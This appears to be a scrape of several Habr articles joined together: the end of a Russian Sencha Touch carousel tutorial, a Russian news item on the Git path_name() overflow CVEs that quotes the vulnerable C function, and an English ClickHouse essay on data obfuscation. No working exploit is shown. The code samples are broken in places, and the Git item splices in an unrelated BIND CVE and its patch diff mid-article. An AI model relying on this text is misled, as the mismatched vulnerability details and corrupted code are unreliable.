>
>
>
> // Infinite carousel
>
> var carousel = new SS.BufferedCarousel({
>
> itemCount: 3,
>
> createItem: function(index) {
>
> return {html: (i+1)+''};
>
> }
>
> });`
В принципе скользящая область достаточно проста. При инициализации и каждый раз при изменении области видимости обновляем скользящую область.
> `bufferCards: function(index) {
>
> // Quick return if there is nothing to do
>
> if (this.lastBufferedIndex == index) { return; }
>
> this.lastBufferedIndex = index;
>
>
>
> // Initialize variables
>
> var
>
> // size of the window
>
> bufferSize = this.bufferSize,
>
> // constrained start index of the window
>
> start = (index-bufferSize).constrain(0, this.itemCount-1),
>
> // constrained end index of the window
>
> end = (index+bufferSize).constrain(0, this.itemCount-1),
>
> items = this.items,
>
> // flag to determine if any items were added/removed
>
> changed = false,
>
> // will be set to the item where its position == index
>
> activeCard;
>
>
>
> // make sure the index is within bounds
>
> index = index.constrain(0, this.itemCount-1);
>
>
>
> // cull existing items
>
> var i = 0;
>
> while (i < items.length) {
>
> var item = items.get(i),
>
> itemIndex = item.carouselPosition;
>
>
>
> if (itemIndex end) {
>
> this.remove(item, true);
>
> changed = true;
>
> }
>
> else {
>
> i++;
>
> }
>
> }
>
>
>
> // function to create a card and add to the carousel
>
> var createCard = function(carouselPos, layoutPos) {
>
> var card = this.createItem(i);
>
> if (card) {
>
> card.carouselPosition = carouselPos;
>
> if (layoutPos != null) {
>
> this.insert(layoutPos, card);
>
> }
>
> else {
>
> this.add(card);
>
> }
>
> if (carouselPos == index) {
>
> activeCard = card;
>
> }
>
> changed = true;
>
> }
>
> };
>
>
>
> // add new items
>
> if (items.length) { // if existing items, add to the left and right
>
> var first = items.first().carouselPosition,
>
> last = items.last().carouselPosition;
>
> for (var i = first-1; i>=start; i--) {
>
> if (i >= 0) {
>
> createCard.call(this, i, 0);
>
> }
>
> }
>
>
>
> for (var i = last+1; i<=end; i++) {
>
> createCard.call(this, i);
>
> }
>
> }
>
> else { // if no existing items, just add cards
>
> for (var i = start; i= 0) {
>
> createCard.call(this, i);
>
> }
>
> }
>
> }
>
>
>
> // if changed, make sure the layout is updated
>
> // also, update the active item if needed
>
> if (changed) {
>
> this.doLayout();
>
>
>
> var activeItem = this.layout.getActiveItem();
>
> if (activeCard && activeItem != activeCard) {
>
> this.layout.setActiveItem(activeCard);
>
> }
>
> }
>
> }`
### Получение данных и кэширование
ShopStyle предоставляет API которое позволяет получать и фильтровать товары из категории. Так же есть возможность получения частей данных что необходимо для реализации постраничного отображения. Разработчикам хотелось иметь непосредственный доступ к данным, а так же избежать проблем вызванных получением данных из сети, а это означало кэшерование изображений.
Для этих целей был создан класс DataCache для упрощения получения данных и кеширования данных о товарах. в своей основе DataCache содержит простую функцию “getItems” которая принимает диапазон товаров а так же функцию для обратного вызова для обработки данных о товарах после их получения, так же она имеет некоторую простую обработку для избежания идентичных запросов и непосредственно возвращает данные которые уже были получены. В результате кеширование становится элементарным — все что необходимо так это вызвать getItems с диапазоном товаров. Этот процесс изображен на диаграмме:
Когда *getItems* вызывается для первых 100 элементов — отправляется запрос в ShopStyle. При последующих запросах *getItems* для элементов 1-10 и 11-20 приложение определяет что эти данные уже запрашиваются и не посылает дополнительные запросы в API. Когда приходит ответ вызываются соответствующий функции обратного вызова. При последующем обращении к *getItems* для элементов 21-30, сразу же идет вызов обратной функции так как данные уже были получены.
### XTemplate
При отображении товаров каждая страница отображает 8 или 9 (в зависимости от ориентации) элементов в grid layout. В большинстве случаев используются плавающие элементы но разработчики захотели пойти несколько другим путем и использовать возможности CSS3:
> `SS.PagedCarousel.Indicator = Ext.extend(Ext.Component, {
>
> baseCls: "ss-pagedCarousel-indicator",
>
>
>
> initComponent: function() {
>
> if (this.carousel.rendered) {
>
> this.render(this.carousel.body);
>
> }
>
> else {
>
> this.carousel.on('render', function() {
>
> this.render(this.carousel.body);
>
> }, this, {single: true});
>
> }
>
> },
>
>
>
> onRender: function() {
>
> SS.PagedCarousel.Indicator.superclass.onRender.apply(this, arguments);
>
>
>
> this.positionIndicator = this.el.createChild({tag: 'span'});
>
> },
>
>
>
> onBeforeCardSwitch: function(carousel, card) {
>
> if (card) {
>
> var position = card.carouselPosition/(this.carousel.itemCount-1),
>
> position = isNaN(position) ? 0 : position\*100,
>
> el = this.el;
>
>
>
> this.positionIndicator[this.carousel.direction=='vertical'?'setTop':'setLeft'](position.toFixed(2)+"%");
>
>
>
> el.setStyle('opacity', '1');
>
>
>
> if (this.hideTimeout != null) {
>
> clearTimeout(this.hideTimeout);
>
> }
>
>
>
> this.hideTimeout = setTimeout(function() {
>
> el.setStyle('opacity', '0');
>
> }, 1500);
>
> }
>
> },
>
>
>
> });`
### Мобильные интернеты
Touch версия приложения не является полной копией оригинального приложения — например была реализована возможность поиска в то время как оригинальное приложение использует механизм фильтров. Все это демонстрирует преимущества Sencha Touch при создании аналогов приложений доступных на мобильных платформах, а так как это все таки интернет приложение то оно будет работать и на WebOS и на Android (сразу после того как разработчики допилят соответствующую поддержку в библиотеке) из коробки.
Ну и в заключении автор оригинальной статьи благодарит Brian Sugar и Trey Matteson из Sugar за предоставление доступа к API, а так же в консультировании по профильным вопросам и желает им всего. | https://habr.com/ru/post/101439/ | null | ru | null |
# Критические уязвимости в клиенте и серверной части Git позволяют осуществлять удаленное выполнение кода
[](https://habrahabr.ru/company/pt/blog/279483/)
Исследователь информационной безопасности Лаел Целлье (Laël Cellier) [обнаружил](http://seclists.org/oss-sec/2016/q1/645) две критические уязвимости в клиенте и серверной части Git (CVE-2016-2324 и CVE‑2016‑2315).
Воспользовавшись ими, злоумышленники могут осуществлять удаленное выполнение кода. Для этого необходимо создать репозиторий с деревом файлов с очень длинными названиями, а затем отправить «пуш» на удаленный уязвимый сервер или позволить уязвимому клиенту осуществить «пулл».
Две ошибки, приводящие к проблемам, содержатся в функции под названием path\_name(), которая используется для добавления имени файла к концу пути в дереве репозитория. Путь и название файла могут быть использованы злоумышленником для запуска зловредного кода — для осуществления успешной атаки необходимо преодолеть различные средства защиты, вроде ASLR, но сделать это [можно](http://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx/20502#20502).
Вот так выглядел код [revision.c](https://github.com/git/git/blob/v1.7.0/revision.c) для Git версий до 2.7.0:
```
char *path_name(const struct name_path *path, const char *name)
{
const struct name_path *p;
char *n, *m;
int nlen = strlen(name);
int len = nlen + 1;
for (p = path; p; p = p->up) {
if (p->elem_len)
len += p->elem_len + 1;
}
n = xmalloc(len);
m = n + len - (nlen + 1);
strcpy(m, name);
for (p = path; p; p = p->up) {
if (p->elem_len) {
m -= p->elem_len + 1;
memcpy(m, p->elem, p->elem_len);
m[p->elem_len] = '/';
}
}
return n;
}
```
Ошибки в коде приводят к возможности возникновения целочисленного переполнения и переполнения буфера.
Кроме того, исследователям Positive Technologies удалось создать действующий эксплоит. Уязвимость CVE-2016-1285 заключается в недостаточной проверки типов полей управляющего пакета RNDC. Специальным образом сформированный пакет может вызвать assertion failure в модулях sexpr.c или alist.c. Для проведения атаки неаутентифицированный злоумышленник должен находиться в сети, от которой named разрешено принимать управляющие пакеты (секция control файла named.conf).
Пакеты, передаваемые транспортом TCP имеют табличную структуру поле-значение, в которой различные поля могут быть бинарными данными, вложенными таблицами или списками.
Вот так выглядит код, отвечающий за проверку авторизации lib/isccc/cc.c:
```
_auth = isccc_alist_lookup(alist, "_auth");
if (_auth == NULL)
return (ISC_R_FAILURE);
if (algorithm == ISCCC_ALG_HMACMD5)
hmac = isccc_alist_lookup(_auth, "hmd5");
else
hmac = isccc_alist_lookup(_auth, "hsha");
if (hmac == NULL)
return (ISC_R_FAILURE);
```
Суть патча, закрывающего уязвимость, состоит в дополнительной проверке результата функции isccc\_alist\_lookup:
Например, diff по [этой ссылке](https://source.isc.org/cgi-bin/gitweb.cgi?p=bind9.git;a=blobdiff;f=lib/isccc/cc.c;h=6d95e3dfd874f4f2daf4ed60f319fb22ce8435ce;hp=9759b40f9b5be6e3d46f2cbee48ca9c0d823f6a5;hb=a2b15b3305acd52179e6f3dc7d073b07fbc40b8e;hpb=0c9af52e8ff870126d837c52f1d30d8ad0608733):
```
_auth = isccc_alist_lookup(alist, "_auth");
- if (_auth == NULL)
+ if (!isccc_alist_alistp(_auth))
return (ISC_R_FAILURE);
```
Функция isccc\_alist\_alistp производит дополнительную проверку вложенных полей:
isccc\_alist\_alistp(isccc\_sexpr\_t \*alist)
```
{
isccc_sexpr_t *car;
if (alist == NULL || alist->type != ISCCC_SEXPRTYPE_DOTTEDPAIR)
return (ISC_FALSE);
car = CAR(alist);
if (car == NULL || car->type != ISCCC_SEXPRTYPE_STRING)
return (ISC_FALSE);
if (strcmp(car->value.as_string, ALIST_TAG) != 0)
return (ISC_FALSE);
return (ISC_TRUE);
}
```
Проблемы оставались незамеченными на протяжении нескольких лет — уязвимы версии Git до 2.7.0, включая ветки 1.9 и 1.7. Обе уязвимости были исправлены в версии 2.7.1, которая вышла в феврале 2016 года, однако разработчики Git не объявляли об устранении ошибок, поэтому многие пользователи и администраторы до сих пор не обновили свои системы.
Целлье передал информацию об обнаруженных им уязвимостях в компанию GitHub за что [получил](https://bounty.github.com/researchers/ytrezq.html) 5000 очков в рамках bug bounty программы сервиса — подобные награды даются за обнаружение крайне серьезных уязвимостей.
В дальнейшем сотрудник GitHub [исправил](http://thread.gmane.org/gmane.comp.version-control.git/286008) ошибки и опубликовала новую версию Git 2.7.1, которая была предоставлена корпоративным пользователям, однако отдельных объявлений об этом сделано не было. GitLab также [обновил](https://about.gitlab.com/2016/03/16/gitlab-8-dot-5-dot-7-released/) свое программное обеспечение, реализовав поддержку Git [2.7.3](https://raw.githubusercontent.com/git/git/master/Documentation/RelNotes/2.7.3.txt), которая содержит исправления и других ошибок.
Эксперты Positive Technologies рекомендуют всем пользователям и администраторам Git-серверов обновить версию используемого ими программного обеспечения. Скачать новую версию можно по [ссылке](https://github.com/git/git). | https://habr.com/ru/post/279483/ | null | ru | null |
# Five Methods For Database Obfuscation
ClickHouse users already know that its biggest advantage is its high-speed processing of analytical queries. But claims like this need to be confirmed with reliable performance testing. That's what we want to talk about today.
[](https://habr.com/en/company/yandex/blog/457354/)
We started running tests in 2013, long before the product was available as open source. Back then, just like now, our main concern was data processing speed in Yandex.Metrica. We had been storing that data in ClickHouse since January of 2009. Part of the data had been written to a database starting in 2012, and part was converted from [OLAPServer and Metrage](https://clickhouse.yandex/blog/evolution-of-data-structures-in-yandex-metrica) (data structures previously used by Yandex.Metrica). For testing, we took the first subset at random from data for 1 billion pageviews. Yandex.Metrica didn't have any queries at that point, so we came up with queries that interested us, using all the possible ways to filter, aggregate, and sort the data.
ClickHouse performance was compared with similar systems like Vertica and MonetDB. To avoid bias, testing was performed by an employee who hadn't participated in ClickHouse development, and special cases in the code were not optimized until all the results were obtained. We used the same approach to get a data set for functional testing.
After ClickHouse was released as open source in 2016, people began questioning these tests.
Shortcomings of tests on private data
-------------------------------------
Our performance tests:
1. Can't be reproduced independently because they use private data that can't be published. Some of the functional tests are not available to external users for the same reason.
2. Need further development. The set of tests needs to be substantially expanded in order to isolate performance changes in individual parts of the system.
3. Don't run on a per-commit basis or for individual pull requests. External developers can't check their code for performance regressions.
We could solve these problems by throwing out the old tests and writing new ones based on open data, like [flight data for the USA](https://clickhouse.yandex/docs/en/getting_started/example_datasets/ontime) and [taxi rides in New York](https://clickhouse.yandex/docs/en/getting_started/example_datasets/nyc_taxi). Or we could use benchmarks like TPC-H, TPC-DS, and [Star Schema Benchmark](https://clickhouse.yandex/docs/en/getting_started/example_datasets/star_schema). The disadvantage is that this data is very different from Yandex.Metrica data, and we would rather keep the test queries.
Why it's important to use real data
-----------------------------------
Performance should only be tested on real data from a production environment. Let's look at some examples.
**Example 1**
Let's say you fill a database with evenly distributed pseudorandom numbers. Data compression isn't going to work in this case, although data compression is essential to analytical databases. There is no silver bullet solution to the challenge of choosing the right compression algorithm and the right way to integrate it into the system, since data compression requires a compromise between the speed of compression and decompression and the potential compression efficiency. But systems that can't compress data are guaranteed losers. If your tests use evenly distributed pseudorandom numbers, this factor is ignored, and the results will be distorted.
Bottom line: Test data must have a realistic compression ratio.
I covered optimization of ClickHouse data compression algorithms in [a previous post](https://habr.com/en/company/yandex/blog/457612/).
**Example 2**
Let's say we are interested in the execution speed of this SQL query:
```
SELECT RegionID, uniq(UserID) AS visitors
FROM test.hits
GROUP BY RegionID
ORDER BY visitors DESC
LIMIT 10
```
This is a typical query for Yandex.Metrica. What affects the processing speed?
* How GROUP BY is executed.
* Which data structure is used for calculating the uniq aggregate function.
* How many different RegionIDs there are and how much RAM each state of the uniq function requires.
But another important factor is that the amount of data is distributed unevenly between regions. (It probably follows a power law. I put the distribution on a log-log graph, but I can't say for sure.) If this is the case, it is important that the states of the uniq aggregate function with fewer values use very little memory. When there are a lot of different aggregation keys, every single byte counts. How can we get generated data that has all these properties? The obvious solution is to use real data.
Many DBMSs implement the HyperLogLog data structure for an approximation of COUNT(DISTINCT), but none of them work very well because this data structure uses a fixed amount of memory. ClickHouse has a function that uses [a combination of three different data structures](https://clickhouse.yandex/docs/en/query_language/agg_functions/reference/#uniqcombined-hll-precision-x), depending on the size of the data set.
Bottom line: Test data must represent distribution properties of the real data well enough, meaning cardinality (number of distinct values per column) and cross-column cardinality (number of different values counted across several different columns).
**Example 3**
Instead of testing the performance of the ClickHouse DBMS, let's take something simpler, like hash tables. For hash tables, it's essential to choose the right hash function. This is not as important for std::unordered\_map, because it's a hash table based on chaining and a prime number is used as the array size. The standard library implementation in GCC and Clang uses a trivial hash function as the default hash function for numeric types. However, std::unordered\_map is not the best choice when we are looking for maximum speed. With an open-addressing hash table, we can't just use a standard hash function. Choosing the right hash function becomes the deciding factor.
It's easy to find hash table performance tests using random data that don't take the hash functions used into account. There are also plenty of hash function tests that focus on the calculation speed and certain quality criteria, even though they ignore the data structures used. But the fact is that hash tables and HyperLogLog require different hash function quality criteria.
You can learn more about this in ["How hash tables work in ClickHouse"](https://www.youtube.com/watch?v=EoX82TEz2sQ) (presentation in Russian). The information is slightly outdated, since it doesn't cover [Swiss Tables](https://abseil.io/blog/20180927-swisstables).
Challenge
---------
Our goal is to obtain data for testing performance that has the same structure as Yandex.Metrica data with all the properties that are important for benchmarks, but in such a way that there remain no traces of real website users in this data. In other words, the data must be anonymized and still preserve:
* Compression ratio.
* Cardinality (the number of distinct values).
* Mutual cardinality between several different columns.
* Properties of probability distributions that can be used for data modeling (for example, if we believe that regions are distributed according to a power law, then the exponent — the distribution parameter — should be approximately the same for artificial data and for real data).
How can we get a similar compression ratio for the data? If LZ4 is used, substrings in binary data must be repeated at approximately the same distance and the repetitions must be approximately the same length. For ZSTD, entropy per byte must also coincide.
The ultimate goal is to create a publicly available tool that anyone can use to anonymize their data sets for publication. This would allow us to debug and test performance on other people's data similar to our production data. We would also like the generated data to be interesting.
However, these are very loosely-defined requirements and we aren't planning to write up a formal problem statement or specification for this task.
Possible solutions
------------------
I don't want to make it sound like this problem is particularly important. It was never actually included in planning and no one had intentions to work on it. I just kept hoping that an idea would come up some day, and suddenly I would be in a good mood and be able to put everything else off until later.
Explicit probabilistic models
-----------------------------
The first idea is to take each column in the table and find a family of probability distributions that models it, then adjust parameters based on the data statistics (model fitting) and use the resulting distribution to generate new data. A pseudorandom number generator with a predefined seed could be used to get a reproducible result.
Markov chains could be used for text fields. This is a familiar model that could be implemented effectively.
However, it would require a few tricks:
* We want to preserve the continuity of time series. This means that for some types of data, we need to model the difference between neighboring values, rather than the value itself.
* To model "joint cardinality" of columns we will also have to explicitly reflect dependencies between columns. For instance, there are usually very few IP addresses per user ID, so to generate an IP address we would use a hash value of the user ID as a seed and also add a small amount of other pseudorandom data.
* We aren't sure how to express the dependency that the same user frequently visits URLs with matching domains at approximately the same time.
All this can be written in a C++ "script" with the distributions and dependencies hard coded. However, Markov models are obtained from a combination of statistics with smoothing and adding noise. I started writing a script like this, but after writing explicit models for ten columns, it became unbearably boring — and the "hits" table in Yandex.Metrica had more than 100 columns way back in 2012.
```
EventTime.day(std::discrete_distribution<>({
0, 0, 13, 30, 0, 14, 42, 5, 6, 31, 17, 0, 0, 0, 0, 23, 10, ...})(random));
EventTime.hour(std::discrete_distribution<>({
13, 7, 4, 3, 2, 3, 4, 6, 10, 16, 20, 23, 24, 23, 18, 19, 19, ...})(random));
EventTime.minute(std::uniform_int_distribution(0, 59)(random));
EventTime.second(std::uniform\_int\_distribution(0, 59)(random));
UInt64 UserID = hash(4, powerLaw(5000, 1.1));
UserID = UserID / 10000000000ULL \* 10000000000ULL
+ static\_cast(EventTime) + UserID % 1000000;
random\_with\_seed.seed(powerLaw(5000, 1.1));
auto get\_random\_with\_seed = [&]{ return random\_with\_seed(); };
```
This approach was a failure. If I had tried harder, maybe the script would be ready by now.
Advantages:
* Conceptual simplicity.
Disadvantages:
* Large amount of work required.
* The solution only applies to one type of data.
And I would prefer a more general solution that can be used for Yandex.Metrica data as well as for obfuscating any other data.
In any case, this solution could be improved. Instead of manually selecting models, we could implement a catalog of models and choose the best among them (best fit plus some form of regularization). Or maybe we could use Markov models for all types of fields, not just for text. Dependencies between data could also be extracted automatically. This would require calculating the [relative entropy](https://en.wikipedia.org/wiki/Kullback%E2%80%93Leibler_divergence) (relative amount of information) between columns. A simpler alternative is to calculate relative cardinalities for each pair of columns (something like "how many different values of A are there on average for a fixed value B"). For instance, this will make it clear that URLDomain fully depends on the URL, and not vice versa.
But I rejected this idea as well, because there are too many factors to consider and it would take too long to write.
Neural networks
---------------
As I've already mentioned, this task wasn't high on the priority list — no one was even thinking about trying to solve it. But as luck would have it, our colleague Ivan Puzirevsky was teaching at the Higher School of Economics. He asked me if I had any interesting problems that would work as suitable thesis topics for his students. When I offered him this one, he assured me it had potential. So I handed this challenge off to a nice guy "off the street" Sharif (he did have to sign an NDA to access the data, though).
I shared all my ideas with him but emphasized that there were no restrictions on how the problem could be solved, and a good option would be to try approaches that I know nothing about, like using LSTM to generate a text dump of data. This seemed promising after coming across the article [The Unreasonable Effectiveness of Recurrent Neural Networks](http://karpathy.github.io/2015/05/21/rnn-effectiveness/).
The first challenge is that we need to generate structured data, not just text. But it wasn't clear whether a recurrent neural network could generate data with the desired structure. There are two ways to solve this. The first solution is to use separate models for generating the structure and the "filler" and only use the neural network for generating values. But this approach was postponed and then never completed. The second solution is to simply generate a TSV dump as text. Experience has shown that some of the rows in the text won't match the structure, but these rows can be thrown out when loading the data.
The second challenge is that the recurrent neural network generates a sequence of data, and thus dependencies in data must follow in the order of the sequence. But in our data, the order of columns can potentially be in reverse to dependencies between them.
We didn't do anything to resolve this problem.
As summer approached, we had the first working Python script that generated data. The data quality seemed decent at first glance:
However, we did run into some difficulties:
1. The size of the model is about a gigabyte. We tried to create a model for data that was several gigabytes in size (for a start). The fact that the resulting model is so large raises concerns. Would it be possible to extract the real data that it was trained on? Unlikely. But I don't know much about machine learning and neural networks, and I haven't read this developer's Python code, so how can I be sure? There were several articles published at the time about how to compress neural networks without loss of quality, but it wasn't implemented. On the one hand, this doesn't seem to be a serious problem, since we can opt out of publishing the model and just publish the generated data. On the other hand, if overfitting occurs, the generated data may contain some part of the source data.
2. On a machine with a single CPU, the data generation speed is approximately 100 rows per second. Our goal was to generate at least a billion rows. Calculations showed that this wouldn't be completed before the date of the thesis defense. It didn't make sense to use additional hardware, because the goal was to make a data generation tool that could be used by anyone.
Sharif tried to analyze the quality of data by comparing statistics. Among other things, he calculated the frequency of different characters occurring in the source data and in the generated data. The result was stunning: the most frequent characters were Ð and Ñ.
Don't worry about Sharif, though. He successfully defended his thesis and then we happily forgot about the whole thing.
Mutation of compressed data
---------------------------
Let's assume that the problem statement has been reduced to a single point: we need to generate data that has the same compression ratio as the source data, and the data must decompress at the same speed. How can we achieve this? We need to edit compressed data bytes directly! This allows us to change the data without changing the size of the compressed data, plus everything will work fast. I wanted to try out this idea right away, despite the fact that the problem it solves is not the same one we started with. But that's how it always is.
So how do we edit a compressed file? Let's say we are only interested in LZ4. LZ4 compressed data is composed of sequences, which in turn are strings of not-compressed bytes (literals), followed by a match copy:
1. Literals (copy the following N bytes as is).
2. Matches with a minimum repeat length of 4 (repeat N bytes that were in the file at a distance of M).
Source data:
`Hello world Hello`.
Compressed data (arbitrary example):
`literals 12 "Hello world " match 5 12`.
In the compressed file, we leave "match" as-is, and change the byte values in "literals". As a result, after decompressing, we get a file in which all repeating sequences at least 4 bytes long are also repeated at the same distance, but they consist of a different set of bytes (basically, the modified file doesn't contain a single byte that was taken from the source file).
But how do we change the bytes? The answer isn't obvious, because in addition to the column types, the data also has its own internal, implicit structure that we would like to preserve. For example, text is often stored in UTF-8 encoding, and we want the generated data to also be valid UTF-8. I developed a simple heuristic that involves meeting several criteria:
* Null bytes and ASCII control characters are kept as-is.
* Some punctuation characters remains as-is.
* ASCII is converted to ASCII and for everything else the most significant bit is preserved (or an explicit set of "if" statements is written for different UTF-8 lengths). In one byte class a new value is picked uniformly at random.
* Fragments like `https://` are preserved, otherwise it looks a bit silly.
The only caveat to this approach is that the data model is the source data itself, which means it cannot be published. The model is only fit for generating amounts of data no larger than the source. On the contrary, the previous approaches provide models which allow generating data of arbitrary size.
Example for a URL:
`http://ljc.she/kdoqdqwpgafe/klwlpm&qw=962788775I0E7bs7OXeAyAx
http://ljc.she/kdoqdqwdffhant.am/wcpoyodjit/cbytjgeoocvdtclac
http://ljc.she/kdoqdqwpgafe/klwlpm&qw=962788775I0E7bs7OXe
http://ljc.she/kdoqdqwdffhant.am/wcpoyodjit/cbytjgeoocvdtclac
http://ljc.she/kdoqdqwdbknvj.s/hmqhpsavon.yf#aortxqdvjja
http://ljc.she/kdoqdqw-bknvj.s/hmqhpsavon.yf#aortxqdvjja
http://ljc.she/kdoqdqwpdtu-Unu-Rjanjna-bbcohu_qxht
http://ljc.she/kdoqdqw-bknvj.s/hmqhpsavon.yf#aortxqdvjja
http://ljc.she/kdoqdqwpdtu-Unu-Rjanjna-bbcohu_qxht
http://ljc.she/kdoqdqw-bknvj.s/hmqhpsavon.yf#aortxqdvjja
http://ljc.she/kdoqdqwpdtu-Unu-Rjanjna-bbcohu-702130`
The results were positive and the data was interesting, but something wasn't quite right. The URLs kept the same structure, but in some of them it was too easy to recognize "yandex" or "avito" (a popular marketplace in Russia), so I created a heuristic that swaps some of the bytes around.
There were other concerns as well. For example, sensitive information could possibly reside in a FixedString column in binary representation and potentially consists of ASCII control characters and punctuation, which I decided to preserve. However, I didn't take data types into consideration.
Another problem is that if a column stores data in the "length, value" format (this is how String columns are stored), how do I ensure that the length remains correct after the mutation? When I tried to fix this, I immediately lost interest.
Random permutations
-------------------
Unfortunately, the problem wasn't solved. We performed a few experiments, and it just got worse. The only thing left was to sit around doing nothing and surf the web randomly, since the magic was gone. Luckily, I came across a page that [explained the algorithm](http://fabiensanglard.net/fizzlefade/index.php) for rendering the death of the main character in the game Wolfenstein 3D.
The animation is really well done — the screen fills up with blood. The article explains that this is actually a pseudorandom permutation. A random permutation of a set of elements is a randomly picked bijective (one-to-one) transformation of the set, or a mapping where each and every derived element corresponds to exactly one original element (and vice versa). In other words, it is a way to randomly iterate through all the elements of a data set. And that is exactly the process shown in the picture: each pixel is filled in random order, without any repetition. If we were to just choose a random pixel at each step, it would take a long time to get to the last one.
The game uses a very simple algorithm for pseudorandom permutation called linear feedback shift register ([LFSR](https://en.wikipedia.org/wiki/Linear-feedback_shift_register)). Similar to pseudorandom number generators, random permutations, or rather their families, can be cryptographically strong when parametrized by a key. This is exactly what we need for data transformation. However, the details might be trickier. For example, cryptographically strong encryption of N bytes to N bytes with a pre-determined key and initialization vector seems like it would work for a pseudorandom permutation of a set of N-byte strings. Indeed, this is a one-to-one transformation and it appears to be random. But if we use the same transformation for all of our data, the result may be susceptible to cryptoanalysis because the same initialization vector and key value are used multiple times. This is similar to the [Electronic Codebook](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#ECB) mode of operation for a block cipher.
What are the possible ways to get a pseudorandom permutation? We can take simple one-to-one transformations and build a complex function that looks random. Here are some of my favorite one-to-one transformations:
* Multiplication by an odd number (like a large prime number) in two's complement arithmetic.
* Xorshift: `x ^= x >> N`.
* CRC-N, where N is the number of bits in the argument.
For example, three multiplications and two xorshift operations are used for the [murmurhash](https://github.com/ClickHouse/ClickHouse/blob/master/dbms/src/Common/HashTable/Hash.h#L18) finalizer. This operation is a pseudorandom permutation. However, I should point out that hash functions don't have to be one-to-one (even hashes of N bits to N bits).
Or here's another interesting [example from elementary number theory](https://preshing.com/20121224/how-to-generate-a-sequence-of-unique-random-integers/) from Jeff Preshing's website.
How can we use pseudorandom permutations to solve our problem? We can use them to transform all numeric fields so we can preserve the cardinalities and mutual cardinalities of all combinations of fields. In other words, COUNT(DISTINCT) will return the same value as before the transformation, and furthermore, with any GROUP BY.
It is worth noting that preserving all cardinalities somewhat contradicts our goal of data anonymization. Let's say someone knows that the source data for site sessions contains a user who visited sites from 10 different countries, and they want to find that user in the transformed data. The transformed data also shows that the user visited sites from 10 different countries, which makes it easy to narrow down the search. Even if they find out what the user was transformed into, it won't be very useful, because all the other data has also been transformed, so they won't be able to figure out what sites the user visited or anything else. But these rules can be applied in a chain. For example, if someone knows that the most frequently occurring website in our data is Yandex, with Google in second place, they can just use ranking to determine which transformed site identifiers actually mean Yandex and Google. There's nothing surprising about this, since we are working with an informal problem statement and we are just trying to find a balance between anonymization of data (hiding information) and preserving data properties (disclosure of information). For information about how to approach the data anonymization issue more reliably, read this [article](https://medium.com/georgian-impact-blog/a-brief-introduction-to-differential-privacy-eacf8722283b).
In addition to keeping the original cardinality of values, I also want to keep the order of magnitude of the values. What I mean is that if the source data contained numbers under 10, then I want the transformed numbers to also be small. How can we achieve this?
For example, we can divide a set of possible values into size classes and perform permutations within each class separately (maintaining the size classes). The easiest way to do this is to take the nearest power of two or the position of the most significant bit in the number as the size class (these are the same thing). The numbers 0 and 1 will always remain as is. The numbers 2 and 3 will sometimes remain as is (with a probability of 1/2) and will sometimes be swapped (with a probability of 1/2). The set of numbers 1024..2047 will be mapped to one of 1024! (factorial) variants, and so on. For signed numbers, we will keep the sign.
It's also doubtful whether we need a one-to-one function. We can probably just use a cryptographically strong hash function. The transformation won't be one-to-one, but the cardinality will be close to the same.
However, we do need a cryptographically strong random permutation so that when we define a key and derive a permutation with that key, it would be difficult to restore the original data from the rearranged data without knowing the key.
There is one problem: in addition to knowing nothing about neural networks and machine learning, I am also quite ignorant when it comes to cryptography. That leaves just my courage. I was still reading random web pages, and found a link on [Hackers News](https://news.ycombinator.com/item?id=15122540) to a discussion on Fabien Sanglard's page. It had a link to a [blog post](http://antirez.com/news/113) by Redis developer Salvatore Sanfilippo that talked about using a wonderful generic way of getting random permutations, known as a [Feistel network](https://en.wikipedia.org/wiki/Feistel_cipher).
The Feistel network is iterative, consisting of rounds. Each round is a remarkable transformation that allows you to get a one-to-one function from any function. Let's look at how it works.
1. The argument's bits are divided into two halves:
`arg: xxxxyyyy
arg\_l: xxxx
arg\_r: yyyy`
2. The right half replaces the left. In its place we put the result of XOR on the initial value of the left half and the result of the function applied to the initial value of the right half, like this:
`res: yyyyzzzz
res\_l = yyyy = arg\_r
res\_r = zzzz = arg\_l ^ F(arg\_r)`
There is also a claim that if we use a cryptographically strong pseudorandom function for F and apply a Feistel round at least 4 times, we'll get a cryptographically strong pseudorandom permutation.
This is like a miracle: we take a function that produces random garbage based on data, insert it into the Feistel network, and we now have a function that produces random garbage based on data, but yet is invertible!
The Feistel network is at the heart of several data encryption algorithms. What we're going to do is something like encryption, only it's really bad. There are two reasons for this:
* We are encrypting individual values independently and in the same way, similar to the Electronic Codebook mode of operation.
* We are storing information about the order of magnitude (the nearest power of two) and the sign of the value, which means that some values do not change at all.
This way we can obfuscate numeric fields while preserving the properties we need. For example, after using LZ4, the compression ratio should remain approximately the same, because the duplicate values in the source data will be repeated in the converted data, and at the same distances from each other.
Markov models
-------------
Text models are used for data compression, predictive input, speech recognition, and random string generation. A text model is a probability distribution of all possible strings. Let's say we have an imaginary probability distribution of the texts of all the books that humanity could ever write. To generate a string, we just take a random value with this distribution and return the resulting string (a random book that humanity could write). But how do we find out the probability distribution of all possible strings?
First, this would require too much information. There are 256^10 possible strings that are 10 bytes in length, and it would take quite a lot of memory to explicitly write a table with the probability of each string. Second, we don't have enough statistics to accurately assess the distribution.
This is why we use a probability distribution obtained from rough statistics as the text model. For example, we could calculate the probability of each letter occurring in the text, and then generate strings by selecting each next letter with the same probability. This primitive model works, but the strings are still very unnatural.
To improve the model slightly, we could also make use of the conditional probability of the letter's occurrence if it is preceded by N specific letters. N is a pre-set constant. Let's say N = 5 and we are calculating the probability of the letter "e" occurring after the letters "compr". This text model is called an Order-N Markov model.
`P(cata | cat) = 0.8
P(catb | cat) = 0.05
P(catc | cat) = 0.1
...`
Let's look at how Markov models work on the website [of Hay Kranen](https://projects.haykranen.nl/markov/demo/). Unlike LSTM neural networks, the models only have enough memory for a small context of fixed-length N, so they generate funny, nonsensical texts. Markov models are also used in primitive methods for generating spam, and the generated texts can be easily distinguished from real ones by counting statistics that don't fit the model. There is one advantage: Markov models work much faster than neural networks, which is exactly what we need.
Example for Title (our examples are in Turkish because of the data used):
> Hyunday Butter'dan anket shluha — Politika head manşetleri | STALKER BOXER Çiftede book — Yanudistkarışmanlı Mı Kanal | League el Digitalika Haberler Haberleri — Haberlerisi — Hotels with Centry'ler Neden babah.com
We can calculate statistics from the source data, create a Markov model, and generate new data with it. Note that the model needs smoothing to avoid disclosing information about rare combinations in the source data, but this is not a problem. I use a combination of models from 0 to N. If statistics are insufficient for the model of order N, the N−1 model is used instead.
